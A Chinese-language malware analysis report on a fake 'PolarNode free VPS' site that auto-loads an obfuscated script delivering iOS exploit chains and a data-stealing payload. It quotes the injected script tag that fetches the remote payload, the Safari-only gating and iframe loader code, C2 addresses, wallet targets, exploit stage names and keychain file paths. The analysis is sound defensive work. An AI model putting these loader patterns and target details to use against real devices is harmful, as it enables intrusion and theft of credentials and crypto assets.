来源: https://www.nodeseek.com/post-905477-1
- 报告类型:恶意站点与移动端攻击链深度分析
- 分析时间:2026-09-01 至 2026-09-02 持续更新
- 分析对象:
event.polarnode.vip诱饵站点及其注入的lk.wyincc.com/lk.jsiOS 利用链 - 威胁定性:以"免费 VPS"为诱饵的定向投递 + 针对 iOS 设备的浏览器远程代码执行(RCE)/ 沙箱逃逸 / 内核读写 / 全量数据窃取间谍软件。利用链按系统版本分两套框架投递:iOS 18.4–18.6.2 经 DarkSword 框架,iOS 15.2–15.8 / 16.0–16.6 / 17.0–17.1(排除 16.7+ 与 17.2+)经 Coruna 框架,设备限定 iPhone / iPod touch(不含 iPad);两套框架的漏洞均已由 Apple 于 2023–2026 分批修复,本活动系对已知漏洞(n-day)的再利用
- 样本来源:公开可访问的钓鱼落地页与 CDN 托管载荷(被动取证下载,未执行)
1. 概述
2026年9月1日,一个名为 “极点云 PolarNode” 的站点 event.polarnode.vip 上线(域名8月31日注册),以"完成预约,前 5,000 名用户均可获得免费 VPS,最高赠送 3 年使用权"为噱头,在 VPS / 运维 / 区块链相关论坛与社群中通过"邮箱 + 邀请码裂变"方式扩散。该站点无真实 VPS 销售能力、无公司主体、无联系方式、无售后支持,其唯一实质功能是在页面加载后自动注入一段高复杂度混淆的恶意脚本,对访问者的 iOS Safari 浏览器发起完整的远程攻击。
经对落地页、投递脚本 lk.js 及其级联加载的 dist/ 利用链(vendor.js、runtime.js、framework.js、group.html、common.js、app.js 等)逐层反混淆与静态取证,确认这是一个覆盖 iOS 15.2 至 18.6.2 的浏览器端 RCE 利用投递平台,按系统版本分由两套框架投递——iOS 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2(build 22E240/22E252/22F76/22G86/22G90/22G100)经 DarkSword 框架(含两条利用路径),iOS 15.2–17.1(含 iOS 16.0–16.6,排除 16.7+)经 Coruna 框架——最终统一向 SpringBoard 等系统进程注入窃取模块,定向盗取加密货币钱包(imToken / TronLink / 通用钱包)、钥匙串(Keychain)、短信、通讯录、相册、备忘录、iCloud、位置与健康数据等并回传 C2。其偏移表覆盖广度、内核原语完整度,以及载荷层保留的 DarkSword 原生模块(keychain_dump.js / wifi_password_securityd.js / icloud_dumper.js)与 CHAIN / MAIN 日志标签,表明其为商用级 iOS 间谍软件套件的犯罪化再分发版本。
表 1-1 攻击活动特征
| 项目 | 内容 |
|---|---|
| 活动名称 | PolarNode “免费 VPS” 钓鱼 + iOS 利用 |
| 发现时间 | 2026-09-01 |
| 诱饵类型 | 仿冒云服务商落地页(Next.js) |
| 投递方式 | 落地页 next/script 自动注入第三方脚本,访问即触发,无需点击 |
| 攻击目标 | DarkSword 路径:iOS 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2(build 22E240/22E252/22F76/22G86/22G90/22G100)全系 26 款机型,含两条利用路径;Coruna 路径:iOS 15.2–15.8 / 16.0–16.6 / 17.0–17.1(排除 16.7+ 与 17.2+)。设备限定为 iPhone / iPod touch(UA 正则只匹配 “iPhone OS”),不含 iPad。两套框架经 UA + 版本指纹分别投递,全文仅此两条 iframe 加载分支 |
| 利用漏洞 | DarkSword 路径(iOS 18.4–18.6.2):6 个 CVE——CVE-2025-31277、CVE-2025-43529、CVE-2026-20700、CVE-2025-14174、CVE-2025-43510、CVE-2025-43520(披露时含 3 个 0day;截至 2026-09 均已公开并修复,本活动系 n-day 再利用)。Coruna 路径(iOS 15.2–17.1):23 个漏洞 / 5 条利用链(iOS 13–17.2.1 整体范围),底层漏洞 Apple 已于 2023–2024 修复,亦属 n-day |
| 同源判定 | DarkSword 路径与 GTIG/iVerify/Lookout 披露高度同源:sbx1_main.js 同名、阶段架构一致,命中原生载荷组件与 CHAIN/MAIN 标签,版本范围对应 UNC6353 原生变体(18.4–18.6.2)。Coruna 路径(group.html)的 Stage 模块以鸟类命名(cassowary / terrorbird / bluebird / jacurutu / seedbell / breezy15),与公开披露的 Coruna 框架命名及 5 链结构一致,为该框架的犯罪化复用 |
| 攻击入口 | WebKit / Safari 浏览器端漏洞利用(JavaScriptCore RCE)。注:iOS 上第三方浏览器(Chrome / Firefox / Edge / Opera)与 App 内 WebView 均强制共用系统 WebKit + JSC,受影响系统版本上存在同等技术脆弱性;本样本则在 UA 判定中主动排除上述环境并引导至 Safari(见 §2.3) |
| 攻击意图 | 全量窃密、加密货币钱包盗取("打带跑"模式,无持久化) |
| 开发特征 | 投递层 lk.js 经 obfuscator.io 重度混淆并含中文注释;载荷层 app.js 保留 DarkSword 原生未混淆代码与 ./src/** 源码路径;利用链含完整内核偏移表 |
| 受影响规模 | 本样本直接投放范围跨 iOS 15.2–18.6.2(具体为 15.2–15.8 / 16.0–16.6 / 17.0–17.1 与 18.4–18.6.2;不含 16.7+、17.2–18.3、18.7+)。其中 iOS 18.4–18.6.2 全球占比约 14.2%(约 2.22 亿台,StatCounter 2026-02);叠加 15.2–17.1 未修复设备后潜在受影响规模显著扩大,计入未修复 iOS 18.x 整体约 17.3%(约 2.7 亿台) |
| C2 基础设施 | 13.248.210.49:36887、166.117.225.238(均位于 AWS Global Accelerator);回传地址另由服务端 base64 配置对象动态下发 |
| 关联域名 | lk.wyincc.com、polarnode.vip |
2. 攻击分析
2.1 诱饵站点与传播分析
落地页 event.polarnode.vip 是一个标准的 Next.js(Turbopack)单页应用,自称"极点云 PolarNode"。页面话术高度模仿正规云厂商,包含机型规格、带宽、节点区域(硅谷 / 首尔 / 香港)、"内测预约"倒计时等完整营销框架,并设置"前 100 / 500 / 1000 / 5000 名"阶梯式赠送权益。
其裂变机制如下:
- 提交预约:仅需填写邮箱(且标注"每个邮箱、每个 IP 仅可预约一次")。
- 分享邀请:预约成功后生成专属链接,每邀请一人增加 1 个月使用权,最多 +12 个月。
- 等待内测:宣称 2026-09-09 10:00(香港时间)开启内测,通过预约邮箱发送领取通知。
- 领取 VPS:按预约顺序领取。
表 2-1 诱饵站点关键事实
| 项 | 内容 |
|---|---|
| 站点标题 | 极点云 PolarNode|内测预约 |
| Meta 描述 | 高性能 VPS 即将上线,前 5,000 名预约用户可获免费 VPS |
| 表单字段 | email(必填)、inviteCode(选填)、隐藏 ACTION_ID=40c32163a2ace593c8d1fa740464b81bcb0467cf98 |
| 主体信息 | 无公司名、无备案/注册号、无联系方式、无客服入口 |
| 域名注册 | 据称 2026-08-31 注册(极新),与活动话术"前 5000 名"形成紧迫感诱导 |
| 传播渠道 | VPS / IT / 加密货币相关论坛、社群,借"免费资源"裂变扩散 |
关键研判:该站点本身不提供任何真实 VPS 服务,其存在的唯一目的是以高价值"免费算力"诱饵将具备技术背景、且大概率持有加密资产的访问者引流至 iOS 利用链。选择"免费 VPS"作为诱饵,精准命中"技术人群 + 钱包持有者"的高价值目标画像。
2.2 投递与加载机制
对落地页 HTML 的取证显示,恶意脚本并非依赖用户交互,而是在页面进入可交互状态后由框架自动注入:
<link rel="preload" href="https://lk.wyincc.com/lk.js" as="script"/>
<!-- Next.js next/script strategy:"afterInteractive" -->
["$Le",null,{"src":"https://lk.wyincc.com/lk.js","strategy":"afterInteractive"}]
afterInteractive 策略意味着脚本在页面首屏渲染、用户可交互后加载,访问者无需任何点击即完成恶意代码下载与执行。这正是移动端"零点击 / 一点击"攻击投递的典型特征——攻击面完全暴露在浏览器渲染阶段。
表 2-2 投递载荷标签
| 病毒名称 | Trojan/JS.Exploit.iOS |
|---|---|
| 原始文件名 | lk.js |
| SHA-256 | 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70 |
| 文件大小 | 48,878 字节 |
| 托管域名 | lk.wyincc.com |
| 加载方式 | 第三方脚本 afterInteractive 自动注入 |
lk.js 解码后的关键常量直接暴露了投递基础设施与攻击意图:
Svmgf: "https://lk.wyincc.com"—— 载荷 CDN 域名;TYDmw: "13.248.210.49"、dzgtq: "166.117.225.238:36887"—— C2 端点;SBEEa: "im.token.app"、oflOF: "com.global.wallet.ios"、arVde: "com.tronlink.hdwallet"—— 硬编码的定向钱包包名(imToken / 通用钱包 / TronLink);- 一段内嵌 RSA 公钥(ASN.1 头
30820122300d06092a864886f70d010101…),用于回传数据加密。
钱包包名与 RSA 公钥紧邻 C2 地址出现,直接证明"加密钱包定向盗取"是本活动的设计目标,而非利用成功后的附带行为。
2.3 混淆与解码器分析(lk.js)
lk.js 采用 obfuscator.io 重度混淆:字符串数组 + RC4/Base64 + 十六进制算术变换。通过提取其内嵌解码器(a0_0x18cf 解密函数与 a0_0x23be 字符串数组)并在本地 Node 环境中批量还原,得到其真实逻辑:
- 运行时先做 User-Agent / 平台指纹识别,仅对 iOS Safari 分支继续利用;非目标平台(桌面、Android)仅完成诱饵表单交互,iOS 上的第三方浏览器与 App 内 WebView 亦被主动排除(详见下文"浏览器触发条件")。
- 构造一个隐藏 iframe,从同域加载
sandbox.html/group.html,将实际利用代码隔离在沙箱文档中执行,降低被页面主上下文检测到的概率;iframe 样式为width:0;height:0;border:none;position:fixed;left:-9999px;top:-9999px;opacity:0;pointer-events:none;visibility:hidden。 - 通过
postMessage与 iframe 内利用代码通信,传递阶段指令与配置。 - 重复感染防护与利用锁定:利用前先检查
localStorage中的_tc_sid标记,若已存在则直接返回(同一设备不重复投放);收到 iframe 回传的pe_injected(注入成功)事件后写入_tc_sid,收到chain_locked(利用链锁定/失败)事件后写入_tc_time并种下_tc_r=1cookie,用于后续访问的短路判定。 - 内置 C2 端点指示:
13.248.210.49:36887与166.117.225.238。
表 2-3 混淆特征
| 特征 | 表现 |
|---|---|
| 混淆工具 | obfuscator.io |
| 字符串处理 | Base64 / RC4 混合,密钥由十六进制算式派生 |
| 解码函数 | a0_0x18cf(idx, key) → 定位 a0_0x23be 数组并解密 |
| 平台分支 | iOS Safari 独占触发;UA 指纹判定,并显式排除第三方浏览器与 App 内 WebView |
| 载荷隔离 | 隐藏 iframe + postMessage 通道 |
| 代码量 | 主逻辑解码后约 1,300+ 行,反混淆后可完整还原 |
浏览器触发条件:WebKit 内核共享与本样本的选择性触发
① iOS 各浏览器共用同一渲染引擎 @cloudfIare 提供相关信息
- Apple 的平台规则要求,iOS 上所有提供网页浏览功能的第三方应用必须基于系统 WebKit.framework 与 JavaScriptCore 构建(WKWebView / JSC),不得自带独立渲染引擎。因此 Chrome(
CriOS)、Firefox(FxiOS)、Edge(EdgiOS)、Opera(OPiOS)在 iOS 上均运行于 WebKit 内核,而非其在桌面平台使用的 Blink / Gecko。 - 本利用链涉及的浏览器侧漏洞——CVE-2025-43529(JSC DFG JIT 写屏障缺失)、CVE-2025-31277(JSC JIT 正则类型混淆)、CVE-2025-14174(ANGLE/WebGL 越界写)——均位于共享的 WebKit 框架与 JavaScriptCore 层,不属于 Safari 应用自身代码。
- 由此,设备是否具备可利用面取决于 iOS 系统版本(即 WebKit 与内核版本),与使用哪款浏览器无关。在受影响系统版本(iOS 15.2–18.6.2,含 Coruna 路径覆盖的 iOS 16 等旧版本)上,Safari、第三方浏览器与 App 内 WebView(微信、QQ、Telegram、支付宝等)面对的是同一份可利用面。同时 WebKit 只能随 iOS 系统更新修补、无法由浏览器 App 独立升级修复,系统升级是消除该可利用面的唯一路径(见 §5.1)。
② 样本对浏览器环境的判定与分流
解码后的 lk.js 主逻辑先完成 User-Agent 指纹判定,再据此分流到两条独立的利用链加载分支——iOS 18.4–18.6.2 → 加载 dist/sandbox.html(DarkSword 链);iOS 15.2–17.1(排除 16.7+)→ 加载 group.html(Coruna 链)。全文仅有这两处 iframe src 赋值(URL 路径亦只有 sandbox.html 与 group.html 两个),不存在第三个投递分支;版本判定之外(iOS 13.0–15.1、16.7+、17.2–18.3、18.7+ 及 iPad)一律直接 return。上述分流发生在 Safari 判定之后:当且仅当 UA 通过 Safari 校验时,才会继续加载任一分支;否则直接结束执行。因此第三方浏览器与 App 内 WebView 既不会加载 DarkSword 链,也不会加载 Coruna 链。其判定逻辑如下:
var isSafari = /Safari\/\d/i.test(ua) && /Version\//i.test(ua)
&& !/CriOS|FxiOS|OPiOS|EdgiOS/i.test(ua) // 排除 Chrome / Firefox / Opera / Edge
&& !/Line\/|KAKAOTALK|Twitter|Instagram|FBAN|FBAV|WhatsApp|Snapchat|Pinterest|LinkedIn|Weibo|MicroMessenger|QQ\/|baiduboxapp|DingTalk|Alipay|UCBrowser|HuaweiBrowser|MiuiBrowser|VivoBrowser|OppoBrowser|SamsungBrowser/i.test(ua)
&& !/CFNetwork/i.test(ua)
&& /Mobile\/\w+ Safari/i.test(ua);
if (!isSafari) { /* 注入"请在 Safari 中打开"引导页,不加载利用模块 */ }
非 Safari 环境下,样本不加载任何利用模块,转而注入一段全屏引导层覆盖原页面(CSS:body > *:not(#_sf_guide){display:none !important}; body{margin:0;background:#fff !important}),配仿 Safari 图标的蓝色渐变 SVG(#5AC8FA→#007AFF),引导文案为:
Please open in Safari
This page does not support the current browser. Long press the link below to copy, then open in Safari.
〔 Long press to copy link 〕
关于引导页能否在预约页面上实际呈现:
lk.js由event.polarnode.vip落地页经 Next.jsafterInteractive以常规<script>形式加载,运行在落地页顶层文档(top-level document)上下文中,而非沙箱 iframe 内部;"隐藏加载"仅指脚本随页面自动加载、无需用户点击,并不抑制其 DOM 写入效果。因此非 Safari 浏览器打开该落地页时,引导层会被真实注入并覆盖原页面(原页面内容经 CSS 隐藏、引导层z-index:999999置顶)。需说明的是,该引导页不自动跳转,仅展示当前 URL 并提示"长按复制链接后在 Safari 中打开",将访问以人工方式迁移至 Safari 后再加载利用链——这也意味着,若lk.js被置于 1px×1px 透明 iframe 的水坑攻击场景,引导层会渲染在不可见的 iframe 内、受害者无从察觉,此时该 Safari 门槛仅使利用静默失效。无论哪种场景,第三方浏览器本身均不会触发任何利用代码。
③ 该分流设计的工程含义
- 样本在非 Safari 环境中不加载利用模块,其引导页会促使用户复制链接并改用 Safari 打开,使访问最终落入样本可控性最高的执行环境。
- 偏移表与 JIT 内存布局对 WebKit 具体版本高度敏感,第三方浏览器的 WKWebView 在 JIT 配置与进程模型上存在差异,将执行环境收敛至 Safari 有助于提高利用成功率。
- "长按复制链接"的交互使目标 URL 以纯文本形式传递,可绕过聊天工具与邮件网关的链接安全扫描。
- 检测层面,受害者所使用的浏览器类型不构成排除条件;"请在 Safari 中打开 / Please open in Safari"一类强制切换浏览器的引导话术应作为高风险社工特征,纳入 §5.3 的网关拦截与终端检测规则。
2.4 利用链分析(dist/chunks/)
DarkSword 路径下,iframe 加载的 sandbox.html 进一步按需拉取 dist/chunks/ 下的利用模块(旧版本 Coruna 路径经 group.html 直接加载 Stage 模块,见本节"旧版本利用分支")。各模块职责与规模如下:
表 2-4 利用链模块清单
| 本样本文件 | 大小 | DarkSword 官方名 | 职责 |
|---|---|---|---|
lk.js |
48,878 B | rce_loader.js |
入口加载器:UA / iOS 版本指纹识别,按版本分发利用模块 |
vendor.js |
6,649 B | rce_module.js |
DarkSword 入口判定与原语:仅放行 iOS 18.x 且次版本 4–6(即 18.4–18.6.2),按 is18_6_plus 分流;含 offsets / slide / chipset / PAC 绕过 / dlopen 原语(旧版本 Coruna 分支不经此模块,由 lk.js 直接加载 group.html) |
runtime.js |
429 KB | rce_worker_18.6.js |
18.6 主路径编排器,内嵌 rce_offsets 偏移表(18.6/18.6.1/18.6.2)与阶段机 |
framework.js |
351 KB | sbx0_main.js |
18.6 路径 SBX0:WebContent→GPU 进程逃逸载荷(ANGLE/WebGL 越界写),mach IPC 原语 |
runtime-legacy.js |
— | rce_worker_18.4.js |
18.4/18.5 路径编排器,运行时从服务端拉取 framework-legacy.js 完成 SBX0 |
polyfill.js |
383 KB | (兜底 RCE) | 18.4/18.5 路径兜底 RCE(150 次重试),内嵌跨版本偏移表,覆盖 18.4/18.4.1/18.5/18.6/18.6.1/18.6.2 |
framework-legacy.js |
— | sbx0_main_18.4.js |
18.4/18.5 路径 SBX0 逃逸载荷(服务端按需下发) |
common.js + sbx1_main.js |
— | sbx1_main.js(同名) |
SBX1:GPU→mediaplaybackd 逃逸,内核读写原语,含 {{LPE_64BITE}} 注入模板 |
app.js |
540 KB | pe_main.js |
后渗透编排与最终窃取载荷(版本无关,注入系统进程后全量采集并回传) |
platform_module.js / utility_module.js |
— | — | 工具 / 兼容函数 |
同源关键:上表"DarkSword 官方名"一列与 Lookout 公布的 DarkSword 恶意文件名清单(
rce_loader.js、rce_module.js、rce_worker_18.4.js、rce_worker_18.6.js、sbx0_main_18.4.js、sbx1_main.js、pe_main.js)逐一对映,其中sbx1_main.js为直接同名。
偏移表覆盖规模——这是判定其工程化成熟度的最直接证据。样本实际包含两套偏移数据,分别服务于两条利用路径:
表 2-5 偏移表覆盖矩阵
| 利用路径 | 偏移数据来源 | iOS 版本(build)覆盖 | 设备/固件组合 | 每组合符号偏移 |
|---|---|---|---|---|
| 18.6 主路径 | runtime.js 内嵌 rce_offsets |
18.6(22G86)、18.6.1(22G90)、18.6.2(22G100) | 26×3 = 78 | 106 |
| 18.4/18.5 路径 | polyfill.js 内嵌跨版本偏移表 + 运行时校验哈希(pthread_create_auth_stubs_offset[ios_version] 等按版本索引) |
18.4(22E240)、18.4.1(22E252)、18.5(22F76)、18.6(22G86)、18.6.1(22G90)、18.6.2(22G100) | 26×6 = 156(按 build 计) | 含内核函数、结构偏移、gadget、JSC pthread_create stub 等 |
| 合计口径 | — | iOS 18.4 ~ 18.6.2 共 6 个子版本 | 26 款机型全覆盖 | 8 个芯片族 |
DarkSword 路径受影响版本的完整界定:该路径经
vendor.js入口判定(ios_version[0]===18且4<=ios_version[1]<=6)后分流——18.6 →runtime.js;18.4/18.5 →runtime-legacy.js+polyfill.js兜底 RCE(150 次重试),后者内嵌 18.4/18.4.1/18.5 偏移表。因此 DarkSword 路径实际受影响版本为 iOS 18.4 至 18.6.2 全系,共 6 个子版本。截至本报告时间,这些版本对应的内核/WebKit 漏洞均已公开并随 iOS 18.7.2/18.7.3/26.x 修复,属已知漏洞再利用(n-day);该路径仅覆盖 18.4–18.6.2,iOS 18.0–18.3 与已升级至 18.7.2+ 的设备不在其覆盖范围内(旧版本 Coruna 路径的覆盖见前节与 §2.7)。
双路径路由(vendor.js 版本判定)
表 2-6 利用路径路由
| 设备 iOS 版本 | 利用路径 | 偏移数据来源 | 沙箱逃逸载荷 |
|---|---|---|---|
| 18.6 / 18.6.1 / 18.6.2 | runtime.js(主路径) |
rce_offsets(78 组,仅 22G 系列) |
framework.js(SBX0) |
| 18.4 / 18.4.1 / 18.5 | runtime-legacy.js + polyfill.js(150 次重试兜底 RCE) |
polyfill.js 内嵌跨版本偏移表 |
framework-legacy.js(SBX0) |
实测补充:用 18.4 / 18.5 的 UA 回踩服务端时,所有 chunk 模块返回 403 +
/.safeline/蜜罐页(长亭 SafeLine WAF),表明该攻击基础设施仍在活跃运营且近期已加固防护。
旧版本利用分支(group.html,对应 Coruna 框架)
解码 lk.js 主逻辑可见,除面向 iOS 18.4–18.6.2 的 DarkSword 分支外,还存在一条独立的旧版本分支(判定条件 _0xc320ce:iOS 15.2+ 或 16.x 或 17.0–17.1,且排除 16.7+)。该分支加载 /group.html(而非 /dist/sandbox.html),由此切入第二条利用链:
if (_0x3958bc) { // iOS 18.4–18.6(DarkSword 路径)
iframe.src = base + '/dist/sandbox.html?d=' + b64cfg;
} else { // iOS 15.2–17.1,排除 16.7+(Coruna 路径)
iframe.src = base + '/group.html';
}
group.html 自身具备独立版本门槛(if (13E4 > platformModule.platformState.iOSVersion) return 1001,即 iOS ≥ 13.0),其内部 Stage 模块以鸟类代号命名,与公开披露的 Coruna 框架命名及五链结构一致:
Stage1(按版本分链):
Stage1_15.2_15.5_jacurutu → iOS 15.2–15.5
Stage1_15.6_16.1.2_bluebird → iOS 15.6–16.1.2
Stage1_16.2_16.5.1_terrorbird → iOS 16.2–16.5.1
Stage1_16.6_17.2.1_cassowary → iOS 16.6–17.2.1
Stage2(PAC 绕过 / 内核前置):
Stage2_15.0_16.2_breezy15 → iOS 15.0–16.2
Stage2_16.3_16.5.1_seedbell → iOS 16.3–16.5.1
Stage2_16.6_16.7.12_seedbell → iOS 16.6–16.7.12
Stage2_16.6_17.2.1_seedbell_pre → iOS 16.6–17.2.1
Stage3(含/不含 PAC 绕过变体):
Stage3_VariantA / Stage3_VariantB
Coruna 框架背景与覆盖:Coruna 是 DarkSword 的技术前身,由 GTIG / iVerify 等机构于 2026 年披露(又名 CryptoWaters),涉及 23 个漏洞 / 5 条利用链,整体目标范围为 iOS 13.0–17.2.1,底层漏洞 Apple 已于 2023–2024 分批修复(属已知漏洞 n-day 再利用)。本样本投递层将其实际下发范围收窄为 iOS 15.2–17.1(排除 16.7+),与 DarkSword 的 18.4–18.6.2 形成互补,使整套投递覆盖 iOS 15.2 至 18.6.2。该分支同样位于 §2.3 所述 Safari 判定之后,仅在 Safari 中加载;第三方浏览器不会进入此分支。
Coruna 五链版本与 CVE 映射(依据 GTIG / iVerify 披露;含无 CVE 的内部 exploit):
WebContent RCE(按版本分链,本样本对应其中四条 Stage1 模块):
buffout CVE-2021-30952 iOS 13.0–15.1.1 (修复于 15.2;本样本投递层不下发该区间)
jacurutu CVE-2022-48503 iOS 15.2–15.5 (修复于 15.6)
bluebird 无 CVE iOS 15.6–16.1.2 (修复于 16.2)
terrorbird CVE-2023-43000 iOS 16.2–16.5.1 (修复于 16.6)
cassowary CVE-2024-23222 iOS 16.6–17.2.1 (修复于 17.3)
PAC 绕过: breezy(13–14.x) / breezy15(15–16.2) / seedbell(16.3–16.5.1)
seedbell_16_6(16.6–16.7.12) / seedbell_17(17–17.2.1) (均无 CVE)
沙箱逃逸: IronLoader CVE-2023-32409(16.0–16.3.1) / NeuronLoader 无 CVE(16.4.0–16.6.1)
内核提权: Neutron CVE-2020-27932(13.x) / Dynamo CVE-2020-27950(13.x, infoleak)
Pendulum(14–14.4.x) / Photon CVE-2023-32434(14.5–15.7.6)
Parallax CVE-2023-41974(16.4–16.7) / Gruber(15.2–17.2.1)
PPL 绕过: Quark(13.x) / Gallium CVE-2023-38606(14.x) / Carbone(15.0–16.7.6)
Sparrow CVE-2024-23225(17.0–17.3) / Rocket CVE-2024-23296(17.1–17.4)
该映射进一步佐证了投递层的收窄逻辑:本样本虽内嵌 Coruna 全套模块(含可覆盖 13.0–15.1 的 buffout 链、可覆盖 16.7–17.2.1 的 cassowary/seedbell 链),但 `lk.js` 投递层将旧版本分支的触发区间显式限定为 **15.2–17.1(排除 16.7+)**,故 13.0–15.1、16.7+、17.2–17.2.1 设备在本样本下不会进入利用流程。
实测补充(旧版本链):以 iOS 16.6 UA 回踩时,
group.html、platform_module.js、utility_module.js仍可获取(HTTP 200),但其Stage1_*/Stage3_*模块已返回 403 +/.safeline/蜜罐页(长亭 SafeLine WAF),表明旧版本链基础设施同样在活跃运营且近期已加固防护。
利用阶段(由代码注释、日志标签与阶段机还原,对应 DarkSword 七环节)
[1] 投递:水坑/钓鱼页 → rce_loader(lk.js) 版本指纹识别 → DarkSword 路径仅 18.4–18.6.2 分发利用代码(旧版本经 Coruna 分支另行投递,见 §2.4)
↓
[2] Safari WebContent 渲染进程 RCE
18.6 路径 → CVE-2025-43529(JSC DFG JIT 写屏障缺失)
18.4/18.5 路径 → CVE-2025-31277(JSC JIT 正则类型混淆)
↓
[3] 用户态防护绕过:CVE-2026-20700(dyld PAC 绕过,免注入未签名二进制)
↓
[4] SBX0 首次沙箱逃逸:WebContent → GPU 进程
CVE-2025-14174(ANGLE/WebGL 越界写),framework.js(351 KB)
↓
[5] SBX1 二次沙箱逃逸:GPU → mediaplaybackd 系统守护进程
CVE-2025-43510(XNU 内核内存损坏·锁状态检查不当,经 XPC 接口),common.js / sbx1_main.js
↓
[6] 内核提权 LPE:CVE-2025-43520(XNU 内核内存损坏·越界写)→ pe_main.js(app.js) 内核态任意代码执行
↓
[7] 载荷注入与窃取:注入 SpringBoard / configd / wifid / securityd / UserEventAgent
→ 各进程取数暂存 → SpringBoard 最终载荷回传 C2 → 清理痕迹退出(无持久化残留)
窃取目标的取证口径:本报告以 §2.5 列举的真实文件路径与模块引用(
/private/var/Keychains/keychain-2.db、/private/var/keybags/systembag.kb、wifi_password_securityd.js等)作为窃取目标的判定依据。需说明的是,对 exploit 模块做关键词词频统计易受框架符号名干扰——如WebCore__initPKContact含 “Contact” 子串、CMPhoto为框架类名、偏移常量0x218881820n含数字片段等,这些均为符号名与地址常量而非窃密行为代码,因此本报告不采用关键词计数作为证据。
2.5 后渗透与数据窃取分析(app.js)
app.js(540 KB,webpack 打包,含 ./src/** 模块结构)是注入系统进程后的最终窃取组件,对应 DarkSword 的 pe_main.js。其行为完全符合 DarkSword 的"打带跑(hit-and-run)"模式:窃取完成后清理痕迹并退出,无持久化机制。
进程注入路径
app.js (经 mediaplaybackd 完成内核提权后,作为调度器)
├─ 强制加载 JSC 框架 + 定制 payload 到多个系统进程:
│ configd / wifid / securityd / UserEventAgent ← 各服务分别取数并暂存
└─ 最终注入 exfil 载荷到 SpringBoard:
const targetProcess = "SpringBoard";
applySandboxEscape() → HTTP GET springboard.js → 回传全部暂存数据
样本内明确代码:
const TAG = "MAIN";///const targetProcess = "bluetoothd";/const targetProcess = "SpringBoard";——被注释掉的bluetoothd是开发调试残留,与 Lookout 描述的"最终由 SpringBoard 回传"完全吻合。
命中 DarkSword 原生载荷组件(决定性同源证据)
app.js 保留了 DarkSword 的三个原生 raw-loader 窃取模块(webpack 导入语句可直接观察到):
| DarkSword 原生模块 | 窃取能力 | 对应痕迹文件 |
|---|---|---|
!raw-loader!keychain_dump.js |
钥匙串明文导出 | /private/var/tmp/keychain_dump.txt |
!raw-loader!wifi_password_securityd.js |
WiFi 密码窃取(DarkSword-WIFI-DUMP 工具名来源) | /private/var/tmp/wifi_passwords_securityd.txt |
!raw-loader!icloud_dumper.js |
iCloud 数据导出 | /private/var/tmp/icloud_dump/ |
同时定义了完整的日志标签体系,与 Lookout 公布的检测标签一致:CHAIN、MAIN、PAC、TASKROP、INJECTJS、SANDBOX、OFFSETS、TASK、VM、THREAD、REMOTECALL、DRIVER-POSTEXPL、PORTRIGHTINSERTER、FILE-UTILS、REGISTERSSTRUCT、UTILS、EXCEPTION。
表 2-7 窃取目标与样本证据(基于真实文件路径)
| 目标类别 | 证据(样本内真实路径 / 模块引用) |
|---|---|
| 钥匙串与密钥包 | /private/var/Keychains/keychain-2.db(及 -journal/-shm/-wal)、/var/Keychains/、/private/var/keybags/systembag.kb、persona.kb、usersession.kb;keychain_dump.js 模块 |
| 凭据与 WiFi | /private/var/mobile/Cookies/(源码注释 // Credentials & WiFi)、wifi_password_securityd.js 模块 |
| iCloud 与诊断数据 | icloud_dumper.js 模块;/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/ |
| 加密货币钱包 | im.token.app、com.tronlink.hdwallet、com.global.wallet.ios(由 lk.js 硬编码定向);Keychain 中助记词 / 私钥 |
| 文件系统与痕迹清理 | /private/var/tmp/、/private/var/mobile/Library/Logs/CrashReporter/、/private/var/tmp/com.apple.mediaplaybackd/Library/HTTPStorages/com.apple.mediaplaybackd/ |
| 其他(套件原生能力) | 短信 / iMessage、通讯录、相册、备忘录、位置历史、健康数据库、Safari 历史与 Cookie、蜂窝 / SIM 信息 |
窃取逻辑直接面向移动设备最敏感的数据仓库(钥匙串、密钥包与沙盒数据库),并在此之上叠加加密货币钱包助记词 / 私钥 / 交易凭证的定向窃取,与诱饵"IT/加密人群"画像高度吻合。app.js 三个 UA 版本(16.6 / 17.0 / 18.6)MD5 完全一致,说明最终窃取载荷为版本无关的通用模块,差异仅存在于利用链前期——其中 16.6 / 17.0 对应 Coruna 旧版本分支、18.6 对应 DarkSword 分支,三版共用同一后渗透载荷,进一步印证两套框架在同一投递器内并行运作。C2 配置(site_host / uid / device_source / SDK 端口)由服务端下发,device_source 示例值为 782391,默认 _SDK_PORT = 80。